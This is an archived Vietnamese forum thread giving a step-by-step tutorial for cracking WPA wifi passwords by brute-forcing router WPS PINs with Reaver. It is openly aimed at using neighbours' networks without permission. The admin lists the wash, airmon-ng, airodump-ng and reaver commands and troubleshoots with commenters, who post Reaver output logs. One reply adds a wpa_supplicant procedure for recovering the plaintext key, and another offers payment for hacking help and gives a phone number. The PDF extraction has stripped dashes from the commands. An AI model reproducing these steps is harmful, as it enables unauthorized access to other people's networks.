Hack wifi mã hóa wpa bằng reaver

13032013, 10:23 PM Lưu ý: Đây là bàn mình sưu tầm + tự viết, mình chỉ lấy ảnh trên mạng để minh họa, nếu các bạn có gặp khó khăn gì cứ việc comment, mình sẽ support hằng ngày nếu có th

Trang 1

28/1/2015 Hack Wifi mã hóa Wpa bằng Reaver! [Lưu trữ] VNGreat

Admin

PDA

VNGreat > CHIA SẼ KIẾN THỨC > Mạng > Hack Wireless > Hack Wifi mã hóa Wpa bằng Reaver!

View Full Version : Hack Wifi mã hóa Wpa bằng Reaver!

13032013, 10:23 PM Lưu ý: Đây là bàn mình sưu tầm + tự viết, mình chỉ lấy ảnh trên mạng để minh họa, nếu các bạn có gặp khó

khăn gì cứ việc comment, mình sẽ support hằng ngày nếu có thể! :B47:

WPS (WiFi Protected Setup) là một tiêu chuẩn mới cho việc thiết lập kết nối nhanh chóng nhưng vẫn đảm bảo

an toàn về bảo mật của mạng WiFi giữa thiết bị thu và thiết bị phát (hai thiết bị kết nối qua tính năng WPS sẽ

không cần phải khai báo mật khẩu của mạng WiFi) muốn truy cập tính năng này, ta cần phải có mã pin của

router, mình hướng dẫn cách hack bằng công cụ Reaver thông qua lỗi báo mật WPS là một phương pháp không phụ thuộc vào độ phức tạp của Password!

Với công cụ Reaver 1.4 được tích hợp sẵn trong bản Backtrack 5 R2 thì việc crack mật khẩu wifi chuẩn WPA

không còn là điều quá khó khăn nữa. Chỉ cần vài câu lệnh đơn giản, rồi đi uống cafe thế là xong. Đây cũng là một tin vui đối với những ai thích trải nghiệm cảm giác xài wifi chùa, và cũng là mối lo lắng cho ai đó không thích

có kẻ xài ké mạng wifi của mình. Thực ra cho đến giờ, công cụ này cũng không phải là vạn năng, nhưng với xác xuất thành công 50% trong các trường hợp thì điều này cũng làm cho các vọc thủ đang ngày đêm rên rỉ "chung quanh nhà thì đầy sóng wifi, mà cái nào cũng đặt khoá WPA hết" cũng được an ủi phần nào

Mọi người tham khảo time hack của nó nhé, thời gian bắt đầu và thời gian kết thúc, quá ấn tượng phải không? Only the registered members can see the link .jpg

Only the registered members can see the link .jpg

Nếu muốn tham khảo thêm về công cụ này, xem chi tiết ở đây nhé !

Only the registered members can see the link

Kiểm tra WPS

Trước tiên, muốn dùng reaver để hack WPA thì bạn cần thỏa mãn những điều kiện sau thì mới có khả năng thành công được

AP mà bạn muốn hack phải hỗ trợ WPS. Nếu không hỗ trợ thì thì không thể hack được. Muốn biết AP có hỗ trợ WPS không ? Ta dùng lệnh

wash i mon0 C

(mon0 là tên card của tôi trong chế độ monito mode)

nếu AP nào có hỗ trợ WPS thì nó sẽ hiện ra như thế này

Card wifi của bạn có được reaver hỗ trợ không ? Nếu có, thì phải đặt ở chế độ "monito mode", và không được chạy chương trình nào trước đó khi vào trong môi trường backtrack

Tín hiệu sóng phải đủ mạnh để reaver hoạt động hoàn hảo

Cài đặt reaver (bản mới nhất hiện hành là 1.4):

Download: Only the registered members can see the link

Cách cài đặt bạn tự tìm hiểu nhé, nếu có gì thì cứ comment hỏi

Hoặc bạn cũng có thể cài thông qua aptget:

mở Terminal lên và gõ lệnh:

aptget update

aptget install reaver

Tốt nhất là các bạn nên sử dụng hệ điều hành BackTrack, vì trong đó đã có sẵn các tool hỗ trợ cho việc hack wifi Tiến hành Hack:

Mình tóm lượt các bước cho lẹ, có gì bạn có thể tìm hiểu thêm: Only the registered members can see the link

Bạn mở một cửa sổ Shell Konsole (Terminal, tương tự cmd trong window) sau đó lần lược thực hiện các lệnh sau:

iwconfig

để kiểm tra card WLAN của máy bạn, xem thử card wlan cảu bạn tên gì, trong trường hợp dưới thì card wifi bạn tên là wlan0

Trang 2

kubin_2000vn

Admin

Như đã nói ở trên, card WLAN phải có khả năng hoạt động ở chế độ “monitor mode”. Điều này nghĩa là card

WLAN có thể bắt được tất cả những gói dữ liệu mà nó phát hiện ra mà không chỉ giới hạn ở những gói dữ liệu

được gửi đến địa chỉ MAC của nó.

Chúng ta sử dụng lệnh airmonng để đưa card WLAN vào chế độ monitor. Chỉ cần gõ:

airmonng stop wlan0

airmonng start wlan0

Theo như hình thì có một card ảo mon0 được tạo ra!

Bạn có thể kiểm tra rằng chế độ monitor mode đang được kích hoạt bằng cách gõ lệnh:

iwconfig

Tìm kiếm BSSID của router mà bạn muốn hack (hãy nhớ là router đó phải có hỗ trợ WPS nha!)

airodumpng wlan0

nếu lệnh trên ko được thì bạn có thể thử lệnh đó với card wlan ảo đã tạo ra:

airodumpng mon0

Khởi chạy reaver để dò mã pin router:

reaver i moninterface b bssid vv

VD: reaver i wlan0 b 00:11:22:33:44:55 vv

rồi giờ bạn hãy chờ đợi để reaver dò tìm mã pin. Tùy vào mã pin ra sao mà reaver sẽ mất thời gian khác nhau để

dò, có khi chỉ mất vài phút có khi lại mất 6,7 h, và cũng có thể là dò ko ra nữa. Kết quả nó sẽ ra như thế này: Only the registered members can see the link

Ngoài ra thì còn tùy thuộc vào loại router nên còn mang tinh hên xui, có vài cái router sau khi dò được mã pin thì reaver ko trả về pass dạng ASCII thông thường mà lại trả về một dãy kí tự

Mình ko có thời gian giải thích cho lắm, các bạn có thể tự tìm hiểu thêm

Nếu muốn hỏi gì thì các bạn có thể commnet bên dưới, mình sẽ support nếu có thể! :yoyo27:

Nguồn: tự viết + sưu tầm

31032013, 02:22 PM cho mình hỏi :

trong khi đang chạy nó ngẳt mạng phải k, kểt nối mạng vào thì nó k chạy nữa ?

khi đang chạy mún save lại để bữa sau làm tiếp thì dùng lệnh gì, sau đó nếu mình làm lại thì dùng lệnh gì

mún tăng tốc thì dùng lệnh gì mình làm 1 tiếng có 5%, dùng lệnh đó trước hay sau lệnh reaver i mon0 b

BSSID vv

trong quá trình làm việc hình như màn hình nó để ở chế độ màn hình chờ là nó k làm việc phải k, nếu chỉnh thì mình chỉnh ở win thôi phải k, thank:)

31032013, 03:46 PM cho mình hỏi :

trong khi đang chạy nó ngẳt mạng phải k, kểt nối mạng vào thì nó k chạy nữa ?

khi đang chạy mún save lại để bữa sau làm tiếp thì dùng lệnh gì, sau đó nếu mình làm lại thì dùng lệnh gì

mún tăng tốc thì dùng lệnh gì mình làm 1 tiếng có 5%, dùng lệnh đó trước hay sau lệnh reaver i mon0 b

BSSID vv

trong quá trình làm việc hình như màn hình nó để ở chế độ màn hình chờ là nó k làm việc phải k, nếu chỉnh thì mình chỉnh ở win thôi phải k, thank:)

Do bạn hỏi về reaver nên mình chuyển post qua đây cho đúng nơi

Khi bạn chuyển card mạng sáng chế độ monitor thì mạng đã bị ngắt rồi

Nếu BT của bạn cài trên HDD thì sau khi bạn nhấn Ctrl + C thì reaver tự động lưu session rồi, khi bạn đánh y câu lệnh lần trước reaver tự động dò file session cũ và hỏi bạn có tiếp tục hay ko? ÚB thì mình ko biết nó có lưu lai hay ko, bạn có thể thử. Còn DVD thì ko lưu

Có thể thêm vào câu lện trên d=0 S N Nhưng mà trường hợp bị chậm lỗi nhiều còn phụ thuộc nhiều yếu tố vd: AP, độ mạnh sóng wifi

Chế độ chờ là sao bạn? Hình như bạn boot bằng USB, nếu vậy bạn vào phần cài dặt của BT chỉnh, chứ lúc boot thì BT đang là 1 hệ điều hành riêng chứ có liên quan gì tới Window đâu

P/s:

File session reaver lưu trong /usr/local/etc/reaver/. Bạn có thể vào đó copy mấy file trong đó lại, lần boot sau thì

Trang 3

kubin_2000vn

Admin

kubin_2000vn

Admin

kubin_2000vn

Admin

bạn copy vào chỗ cũ và dùng lệnh như cũ thì nó sẽ hỏi bạn có tiếp tục hay ko thôi

31032013, 08:27 PM Wifi minh hack tat thj ct minh chay cug dung luon phai k

khj resume minh dug cac cau lenh tu ban dau la iwconfig hay dung cau lenh reaver

31032013, 08:39 PM Wifi minh hack tat thj ct minh chay cug dung luon phai k

khj resume minh dug cac cau lenh tu ban dau la iwconfig hay dung cau lenh reaver

AP tắt thì reaver vẫn chạy, nhưng mà nó sẽ báo lổi gì gì đó, bạn cứ thử sẽ biết

Các lệnh trên là cần thiết, vì bạn cần phải chuyển card mạng sang chế độ monitor thì mới chạy được reaver Lệnh iwconfig chỉ là để coi tên card mạng bạn thôi, ko cần chạy cũng dc vì bạn đã biết tên rồi

31032013, 10:59 PM save xong mình restart vào win lại thì k đc, rút cả usb với cả ctrl alt del cũng k ăn thua, đành phải tắt nóng

luôn:B58:, lần trước restart để vào win thì đợi 1 tí, sau đó rút thiểt bị và enter phát thì nó restart vào win lại liền,

k hiểu sao giờ nó đơ luôn phải tắt nóng:B58:

31032013, 11:20 PM save xong mình restart vào win lại thì k đc, rút cả usb với cả ctrl alt del cũng k ăn thua, đành phải tắt nóng

luôn:B58:, lần trước restart để vào win thì đợi 1 tí, sau đó rút thiểt bị và enter phát thì nó restart vào win lại liền,

k hiểu sao giờ nó đơ luôn phải tắt nóng:B58:

Vào win ko được là lỗi sao bạn? nói rõ tí đi

BT ko tắt được hay là tắt rồi mà khởi động vào win ko được?

Bạn nói gì mà lủng củng quá

"lần trước restart để vào win thì đợi 1 tí" > như vậy là lần trước đã vào win được rồi

"sau đó rút thiểt bị và enter phát thì nó restart vào win lại liền" > câu này có phải là việc sau đó của câu trên ko???

Mà mình cũng chẳng hiểu bạn enter là enter cái gì nữa???

Bạn diễn tả kiểu này thì thánh cũng phải bó tay

01042013, 11:40 AM

Lần đầu vào linus mới gõ 1 số câu lệnh đơn giản ở terminal sau đó mình restart về win

+ chọn restart ở 1 mục trong linus

+ nó ra cái màn hình chờ giống như khi mình mới vào sau đó gõ lệnh startx ấy

+ nó thông báo rút kết nối và enter để thoát> mình làm theo ok, nó restart sau đó về win

Lấn thứ 2 sau khi crack đc 25% mình save và restart về win

+ mình cũng chọn restart

+ màn hình chờ

+ khác ở điểm này, nó k hiện lên thông báo như trước nữa, chờ hơn 5phút cũng k thấy gì, mình thử alt F4 hay ctrl alt del, rút cả usb cũng k có tác dụng> đành phải tắt nóng

vấn đề mình thắc mắc là ở chỗ đó

01042013, 12:06 PM

Lần đầu vào linus mới gõ 1 số câu lệnh đơn giản ở terminal sau đó mình restart về win

+ chọn restart ở 1 mục trong linus

+ nó ra cái màn hình chờ giống như khi mình mới vào sau đó gõ lệnh startx ấy

+ nó thông báo rút kết nối và enter để thoát> mình làm theo ok, nó restart sau đó về win

Lấn thứ 2 sau khi crack đc 25% mình save và restart về win

+ mình cũng chọn restart

+ màn hình chờ

+ khác ở điểm này, nó k hiện lên thông báo như trước nữa, chờ hơn 5phút cũng k thấy gì, mình thử alt F4 hay ctrl alt del, rút cả usb cũng k có tác dụng> đành phải tắt nóng

vấn đề mình thắc mắc là ở chỗ đó

Cái này có lẽ là do lúc cài BT trên USB nó bị lỗi và sau này nó bị mất ổn định nên mới vậy

Trang 4

kubin_2000vn

Admin

tungdaubac

Khi tắt linux cũng giống window, nó yêu cầu mình rút các thiết bị nhớ bên ngoài ra có nhiều trường hợp bị treo máy do thẻ nhớ, usb vẫn còn cắm trong máy

01042013, 12:24 PM Only the registered members can see the link@N08/8608040993/in/photostream

Only the registered members can see the link@N08/8609147810/in/photostream

ảnh đầu mình chờ 5 phút k có gì, sau đó mình rút usb ra cũng k đc, ấn ctrl alt del thì nó ra cái thứ 2, chờ 5 phut

k có gì, ấn tiếp ctrl alt del tiếp nó ra y chang vậy, chắc lỗi như bạn nói rồi, ak cho mình hỏi cái này

mình thấy 1 số bạn nói khi muốn làm tiếp thì vào máy tính copy file bssid.wpc mà mình lưu trước đó vào

usr/local/etc/reaver sẽ chạy tiếp, mình vào thấy nó có sẵn trong usr/local/etc/reaver rồi nên k copy wa luôn, vào terminal chạy 2 lệnh airmonng start wlan0 và reaver thì nó k thông báo lên YES/NO để mình chạy tiếp mà ra

1 dãy

Waiting for bearcon from

Switching mon0 to channel 1

nó cứ ra như vậy, k bít là lỗi gì ?

01042013, 12:43 PM Only the registered members can see the link@N08/8608040993/in/photostream

Only the registered members can see the link@N08/8609147810/in/photostream

ảnh đầu mình chờ 5 phút k có gì, sau đó mình rút usb ra cũng k đc, ấn ctrl alt del thì nó ra cái thứ 2, chờ 5 phut

k có gì, ấn tiếp ctrl alt del tiếp nó ra y chang vậy, chắc lỗi như bạn nói rồi, ak cho mình hỏi cái này

mình thấy 1 số bạn nói khi muốn làm tiếp thì vào máy tính copy file bssid.wpc mà mình lưu trước đó vào

usr/local/etc/reaver sẽ chạy tiếp, mình vào thấy nó có sẵn trong usr/local/etc/reaver rồi nên k copy wa luôn, vào terminal chạy 2 lệnh airmonng start wlan0 và reaver thì nó k thông báo lên YES/NO để mình chạy tiếp mà ra

1 dãy

nó cứ ra như vậy, k bít là lỗi gì ?

Nó vào luôn ko hỏi:

Coi thử mấy file trong đó có giống file lần trước ko?

Nếu câu lệnh bạn có sẵn "a" thì nó sẽ ko hỏi mà tự động chạy tiếp

Kiểm tra cái mạng bạn đang hack thử coi, cố định channel lại, nếu nó vẫn ko chạy thì có thể do mạng bên kia bị tắt/ tắt wps / sóng yếu/ sai tên MAC

P/s: mình coi ảnh trong album bạn: Only the registered members can see the

link@N08/8609148780/in/photostream/

Địa chỉ Mac mà bạn nhập kiểu đó thì thua :B58:

Bên wash C nó ra sao thì bạn copy lại y như z? cớ sao lại chỉnh sửa bỏ bớt như z chi cho nó lỗi? :B31:

15042013, 09:41 PM [+] Trying pin 12345670

[+] Sending EAPOL START request

[!] WARNING: Receive timeout occurred

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received WSC NACK

[+] Sending WSC NACK

[!] WPS transaction failed (code: 0x04), retrying last pin

[+] Trying pin 12345670

Trang 5

Admin

tungdaubac

haihazin

Admin

haihazin

Admin

Lỗi này là sao thế chủ thớt :B92:

Còn cái số % thì đễ mãi vẫn 0.00% :gach:

16042013, 06:27 AM [+] Trying pin 12345670

[!] WARNING: Receive timeout occurred

[+] Trying pin 12345670

Lỗi này là sao thế chủ thớt :B92:

Còn cái số % thì đễ mãi vẫn 0.00% :gach:

Cái % đó thực sự cũng chẳng quan tâm, quan tậm là nó thực hiện có thành công hay ko kìa. Ở trên nó chỉ trả về M1 mà ko trả về được M3. CŨng có thể là do AP, hôm qua mới gặp một cái y z, cứ M1 M2 làm hoài. Vẫn chưa

biết sao khắc phục nữa

16042013, 08:33 PM

Hi vọng là do raever, nếu mà do AP thì chắc chỉ còn nước quay lại sử dụng bộ từ điển để chơi quá :B04:

19042013, 08:15 PM

ở chỗ mình chỉ có 1 cái AP nhưng lại không hỗ trợ WPA vậy phải làm sao đây? có cách nào để hack ko bác?

19042013, 11:44 PM

ở chỗ mình chỉ có 1 cái AP nhưng lại không hỗ trợ WPA vậy phải làm sao đây? có cách nào để hack ko bác?

Ko hỗ trợ wps phải ko bạn? nếu z thì bạn hên xui dùng dict thôi :)

20042013, 11:55 AM

Ko hỗ trợ wps phải ko bạn? nếu z thì bạn hên xui dùng dict thôi :)

đúng rồi dạng password là WPA nhưng WPS? thì là "no". Hix dùng dict thì con netbook của mình chắc tèo luôn quá :(

20042013, 01:11 PM mình dùng bản Backtrack 5 R3 thì nó đã có sẵn cái "reaver 1.4" chưa? nếu chưa thì cài đặt thế nào, máy mình không có kết nối internet khi chạy Backtrack vì chỉ có USB 3g

21042013, 06:24 PM

BT 5 R3 có sẵn reaverrồi bạn, còn cái cmt trên mình ko hiểu bạn ơi, Nếu dùng wash C kiểm tra mà nó AP đó xuất hiện thì AP đó có hỗ trợ WPS, mà nếu nó để trạng thái "no" thì WPS nó ko bị khóa, nghĩa là có thể dùng

Trang 6

a0123780067

Admin

hoahongden_155_93

Admin

reaver để hack

31072013, 04:43 PM Khi có hỗ trợ wps nó hiện ra gì vậy bạn, hình mình không thấy đc @@

31072013, 11:02 PM Khi có hỗ trợ wps nó hiện ra gì vậy bạn, hình mình không thấy đc @@

Khi bạn wash thì chỉ cần nó có xuất hiện là có hỗ trợ WPS, nếu hiện chữ no thì ko bị khóa, nếu yes thì bị khóa

Có hỗ trợ + ko bị khóa thì hack bằng reaver dc :)

01082013, 08:21 AM Cái này mình dùng rồi. Mình bổ xung 1 chút như sau

Nếu trong trường hợp bạn hack mà ko ra pass mà nó ra dạng này

[+] WPS PIN: '09104563' ( ví dụ thế)

[+] WPA PSK: 'd53656613b6cddbea716a88c16d157990904ea363629b4b4b 480aa74634dae6f'

Cái wpa PSK ko ra pass. thì bạn làm như sau

Tạo file wpa_supplicant.conf t>/etc/wpa_supplicant.conf

Và thêm mấy dòng như sau.

ctrl_interface=/var/run/wpa_supplicant

ctrl_interface_group=0

update_config=1

Mở teminal start wpa_supplicant bằng dong lênh.

wpa_supplicant Dwext iwlan0 c/etc/wpa_supplicant.conf –B

Mở 1 terminal khác gõ wpa_cli > enter

bạn gõ status sẽ thấy thông báo wpa_state=INACTIVE

bạn nhập vào wps_reg xx:xx:xx:xx:xx:xx 12345678 Với xx là BSSID của wifi và 12345678 là mã PIN>

Bạn sẽ thấy chứ OK xuất hiện

Bạn nhìn sang bên cửa sổ terminal kia có xuất hiện chữ CTRLEVENTCONNECTED. Thì thoát wpa_cli. và gõ

dhclient wlan0 để nó lấy IP từ wifi

Rồi bạn có thể gõ save > xuất hiện OK để lưu file wpa_supplicant.conf

bạn cat /etc/wpa_supplicant.conf Để xem pass :D

cái này lấy của 1 bạn bên bách khoa

01082013, 11:13 PM Cái này mình dùng rồi. Mình bổ xung 1 chút như sau

[+] WPS PIN: '09104563' ( ví dụ thế)

update_config=1

Trang 7

hoangbk87it

Admin

minh01666

hoangbk87it

Admin

Cảm ơn bạn đã đóng góp ::):

07092013, 12:09 AM hack = reaver toan la the ne co' cach nao xl tiep ko ca? nha??

[+] 91.14% complete @ 20130906 08:24:59 (21 seconds/pin)

[+] WPS PIN: '02310244'

[+] WPA PSK: 'fc388df9fded2def0e5458a16cd80c18749934f079135ce73 093ac7f1092111d'

07092013, 12:16 AM wps_reg xx:xx:xx:xx:xx:xx 12345678 Với xx la j vay??

07092013, 01:30 PM wps_reg xx:xx:xx:xx:xx:xx 12345678 Với xx la j vay??

xx là địa chỉ MAC đó bạn ::):

12092013, 08:51 PM sao mình làm xong tới bước cuối cùng đến dòng Associated with nó cứ chớp chớp đứng đó hoài ko làm j nữa

cả vậy bạn mình để cả 56 tiếng cũng vẫn ko có chạy típ nữa bạn giúp mình vs

15092013, 11:00 AM Help minh dat pass cho OS Reaver Pro mãi mak ko được ai giúp minh vS???

15092013, 11:12 AM Cái này mình dùng rồi. Mình bổ xung 1 chút như sau

[+] WPS PIN: '09104563' ( ví dụ thế)

update_config=1

Minh lam hoai mak tra dc ban co video hd cu the ko? share minh vs?

16092013, 09:15 PM

Trang 8

them nguyen

Admin

Minh lam hoai mak tra dc ban co video hd cu the ko? share minh vs?

Tìm trên mạng thì chưa thấy :D

03052014, 05:50 PM Minh tên út ở gần bến xe buýt quận 8.bạn nào biết hack wifi được thì qua giúp mình với .mình sẽ trả công cho bạn cho. Sdt của mình 0909099235.laptop minh hack hoài ko được nếu bạn qua giúp nhớ mang theo laptop

nha.chủ yếu là mình có mã pin sài wifi chùa là oke

03052014, 06:44 PM Minh tên út ở gần bến xe buýt quận 8.bạn nào biết hack wifi được thì qua giúp mình với .mình sẽ trả công cho bạn cho. Sdt của mình 0909099235.laptop minh hack hoài ko được nếu bạn qua giúp nhớ mang theo laptop

nha.chủ yếu là mình có mã pin sài wifi chùa là oke

Trời ơi hi vọng có người rãnh đi giúp bạn :D

Ban Quản Trị không chịu trách nhiệm về nội dung đăng tải do người dùng đưa lên

Định dạng
Số trang	8
Dung lượng	169,79 KB
File đính kèm	Hack Wifi mã hóa Wpa bằng Reaver.rar (162 KB)